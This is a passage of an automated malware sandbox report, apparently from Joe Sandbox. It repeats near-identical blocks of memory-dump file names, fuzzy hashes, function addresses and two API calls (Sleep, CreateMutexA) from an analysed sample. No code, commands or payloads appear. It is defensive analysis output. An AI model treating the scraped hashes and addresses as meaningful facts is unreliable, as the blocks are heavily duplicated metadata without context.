Associated: 00000000.00000002.2245965975.0000000000686000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245986797.0000000000687000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246033716.0000000000688000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246051811.000000000068C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246083643.000000000068E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246105252.000000000069C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246193184.000000000069D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2?
API String ID: 1464230837-3487704626
Opcode ID: 8b9535393b7217b153536c79fe0ff7f9cd6101873a2630e2610eac6e2b8557ff
Instruction ID: fa1da3c9e2b6127017873584cfb86c9c25ce5ee10d5b3625d919cf994afad4e2
Opcode Fuzzy Hash: 8b9535393b7217b153536c79fe0ff7f9cd6101873a2630e2610eac6e2b8557ff
Instruction Fuzzy Hash: 26312671B04244DBEF0AEB7CDCC976EBB66EB86310F20865DE0149B2D5C779898087A1

Function 00399F44 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0039A963
CreateMutexA.KERNEL32(00000000,00000000,003F3254), ref: 0039A981

Strings

T2?, xrefs: 0039A970

Memory Dump Source

Source File: 00000000.00000002.2243108041.0000000000391000.00000040.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.2243038820.0000000000390000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243108041.00000000003F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243260328.00000000003F9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243292415.00000000003FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243360466.0000000000407000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243677274.0000000000563000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243726962.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243815919.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243815919.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243915372.000000000059A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244051485.000000000059F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244273573.00000000005B5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244427081.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244636615.00000000005E8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244749308.00000000005E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244811297.00000000005EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244873709.00000000005EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244911236.00000000005EF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245032080.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245142903.0000000000604000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245197017.0000000000605000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245302580.0000000000606000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245336103.0000000000609000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245393051.000000000060A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245443564.000000000060C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245480031.000000000060D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245566893.0000000000610000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245663750.0000000000618000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245688708.0000000000619000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245712397.000000000061A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245736188.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245764673.0000000000631000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245788240.0000000000632000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245833683.000000000063C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245860270.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245860270.000000000065A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245965975.0000000000686000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245986797.0000000000687000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246033716.0000000000688000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246051811.000000000068C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246083643.000000000068E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246105252.000000000069C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246193184.000000000069D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2?
API String ID: 1464230837-3487704626
Opcode ID: 3f16c23a24a3bcff03c385b4ecaa00033f13b868d8b92061648f91e4f2e6887d
Instruction ID: e78a3dbbf026a172801f0d5b086ff5c04363259665e745fc2b013ec6dbae6c36
Opcode Fuzzy Hash: 3f16c23a24a3bcff03c385b4ecaa00033f13b868d8b92061648f91e4f2e6887d
Instruction Fuzzy Hash: 383125317142449BEF0ADB6CD88D7ADBB66EB86310F20871DE419DB2D1C77589808792

Function 0039A079 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0039A963
CreateMutexA.KERNEL32(00000000,00000000,003F3254), ref: 0039A981

Strings

T2?, xrefs: 0039A970

Memory Dump Source

Source File: 00000000.00000002.2243108041.0000000000391000.00000040.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.2243038820.0000000000390000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243108041.00000000003F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243260328.00000000003F9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243292415.00000000003FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243360466.0000000000407000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243677274.0000000000563000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243726962.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243815919.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243815919.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243915372.000000000059A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244051485.000000000059F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244273573.00000000005B5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244427081.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244636615.00000000005E8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244749308.00000000005E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244811297.00000000005EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244873709.00000000005EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244911236.00000000005EF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245032080.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245142903.0000000000604000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245197017.0000000000605000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245302580.0000000000606000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245336103.0000000000609000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245393051.000000000060A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245443564.000000000060C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245480031.000000000060D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245566893.0000000000610000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245663750.0000000000618000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245688708.0000000000619000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245712397.000000000061A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245736188.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245764673.0000000000631000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245788240.0000000000632000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245833683.000000000063C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245860270.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245860270.000000000065A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245965975.0000000000686000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245986797.0000000000687000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246033716.0000000000688000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246051811.000000000068C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246083643.000000000068E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246105252.000000000069C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246193184.000000000069D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2?
API String ID: 1464230837-3487704626
Opcode ID: 838c08bebc178396b9423f29677472ec03296e6348c09c5b19faf504e8ee077b
Instruction ID: 1dad3b3abcd98237d21ca0996aa83b196ab05be4a63cb38ef1a820413644e769
Opcode Fuzzy Hash: 838c08bebc178396b9423f29677472ec03296e6348c09c5b19faf504e8ee077b
Instruction Fuzzy Hash: B3314631B146449BEF0EDB78CC89B6DBB62EF82310F208718E0149B7D1C776998087A2

Function 0039A1AE Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0039A963
CreateMutexA.KERNEL32(00000000,00000000,003F3254), ref: 0039A981

Strings

T2?, xrefs: 0039A970

Memory Dump Source

Source File: 00000000.00000002.2243108041.0000000000391000.00000040.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.2243038820.0000000000390000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243108041.00000000003F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243260328.00000000003F9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243292415.00000000003FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243360466.0000000000407000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243677274.0000000000563000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243726962.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243815919.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243815919.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243915372.000000000059A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244051485.000000000059F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244273573.00000000005B5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244427081.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244636615.00000000005E8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244749308.00000000005E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244811297.00000000005EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244873709.00000000005EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244911236.00000000005EF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245032080.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245142903.0000000000604000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245197017.0000000000605000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245302580.0000000000606000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245336103.0000000000609000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245393051.000000000060A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245443564.000000000060C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245480031.000000000060D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245566893.0000000000610000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245663750.0000000000618000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245688708.0000000000619000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245712397.000000000061A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245736188.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245764673.0000000000631000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245788240.0000000000632000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245833683.000000000063C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245860270.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245860270.000000000065A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245965975.0000000000686000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245986797.0000000000687000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246033716.0000000000688000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246051811.000000000068C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246083643.000000000068E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246105252.000000000069C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246193184.000000000069D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2?
API String ID: 1464230837-3487704626
Opcode ID: 9913508e152791ed9b11a404361290f7f0295a84ee6cd14014feab9221895450
Instruction ID: 498f156c0b4b1814105fd60649671b999ea54c31d9bb96c71fe92e5af7885d8d
Opcode Fuzzy Hash: 9913508e152791ed9b11a404361290f7f0295a84ee6cd14014feab9221895450
Instruction Fuzzy Hash: 18312A71B14644DBEF0ADB78DC8DB6DBB66EF86310F248718E0149B2D1D77589808792

Function 0039A418 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0039A963
CreateMutexA.KERNEL32(00000000,00000000,003F3254), ref: 0039A981

Strings

T2?, xrefs: 0039A970

Memory Dump Source

Source File: 00000000.00000002.2243108041.0000000000391000.00000040.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.2243038820.0000000000390000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243108041.00000000003F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243260328.00000000003F9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243292415.00000000003FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243360466.0000000000407000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243677274.0000000000563000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243726962.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243815919.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243815919.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243915372.000000000059A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244051485.000000000059F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244273573.00000000005B5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244427081.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244636615.00000000005E8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244749308.00000000005E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244811297.00000000005EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244873709.00000000005EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244911236.00000000005EF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245032080.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245142903.0000000000604000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245197017.0000000000605000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245302580.0000000000606000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245336103.0000000000609000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245393051.000000000060A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245443564.000000000060C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245480031.000000000060D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245566893.0000000000610000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245663750.0000000000618000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245688708.0000000000619000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245712397.000000000061A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245736188.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245764673.0000000000631000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245788240.0000000000632000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245833683.000000000063C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245860270.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245860270.000000000065A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245965975.0000000000686000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245986797.0000000000687000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246033716.0000000000688000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246051811.000000000068C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246083643.000000000068E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246105252.000000000069C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246193184.000000000069D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2?
API String ID: 1464230837-3487704626
Opcode ID: 3d188d0a76a9b1a315b327555b3c7a594cfb770e964fd28ba1bd95e609ae0f83
Instruction ID: 47f3e45ee5c46dd3ac8ad9b22662b26b2fdf3a11c3a232a80d56b4613fa8bead
Opcode Fuzzy Hash: 3d188d0a76a9b1a315b327555b3c7a594cfb770e964fd28ba1bd95e609ae0f83
Instruction Fuzzy Hash: A3312A317506449BEF0ADB78DC8DB6DB765EF82310F208718E0149B3D5DB7589808792

Function 0039A54D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0039A963
CreateMutexA.KERNEL32(00000000,00000000,003F3254), ref: 0039A981

Strings

T2?, xrefs: 0039A970

Memory Dump Source

Source File: 00000000.00000002.2243108041.0000000000391000.00000040.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.2243038820.0000000000390000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243108041.00000000003F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243260328.00000000003F9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243292415.00000000003FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243360466.0000000000407000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243677274.0000000000563000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243726962.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243815919.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243815919.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243915372.000000000059A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244051485.000000000059F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244273573.00000000005B5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244427081.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244636615.00000000005E8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244749308.00000000005E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244811297.00000000005EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244873709.00000000005EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244911236.00000000005EF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245032080.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245142903.0000000000604000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245197017.0000000000605000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245302580.0000000000606000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245336103.0000000000609000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245393051.000000000060A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245443564.000000000060C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245480031.000000000060D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245566893.0000000000610000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245663750.0000000000618000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245688708.0000000000619000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245712397.000000000061A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245736188.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245764673.0000000000631000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245788240.0000000000632000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245833683.000000000063C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245860270.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245860270.000000000065A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245965975.0000000000686000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245986797.0000000000687000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246033716.0000000000688000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246051811.000000000068C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246083643.000000000068E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246105252.000000000069C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246193184.000000000069D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2?
API String ID: 1464230837-3487704626
Opcode ID: f5168aab463fab8587aa3f48abafdb4c68f2cf54e0d4535faeb526a2530e9594
Instruction ID: b48616ffc85de205a7b6efb2c559d4a1cbfa5215c47fceaadb824c23bea299bb
Opcode Fuzzy Hash: f5168aab463fab8587aa3f48abafdb4c68f2cf54e0d4535faeb526a2530e9594
Instruction Fuzzy Hash: 7D3127717046449BEF0ADB78C88DB6DBB62EBC6314F248718E054DB2D1C7798D808792

Function 0039A682 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0039A963
CreateMutexA.KERNEL32(00000000,00000000,003F3254), ref: 0039A981

Strings

T2?, xrefs: 0039A970

Memory Dump Source

Source File: 00000000.00000002.2243108041.0000000000391000.00000040.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.2243038820.0000000000390000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243108041.00000000003F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243260328.00000000003F9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243292415.00000000003FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243360466.0000000000407000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243677274.0000000000563000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243726962.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243815919.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243815919.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243915372.000000000059A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244051485.000000000059F000.00000040.00000001.01000000.00000003.sdmpDownload File
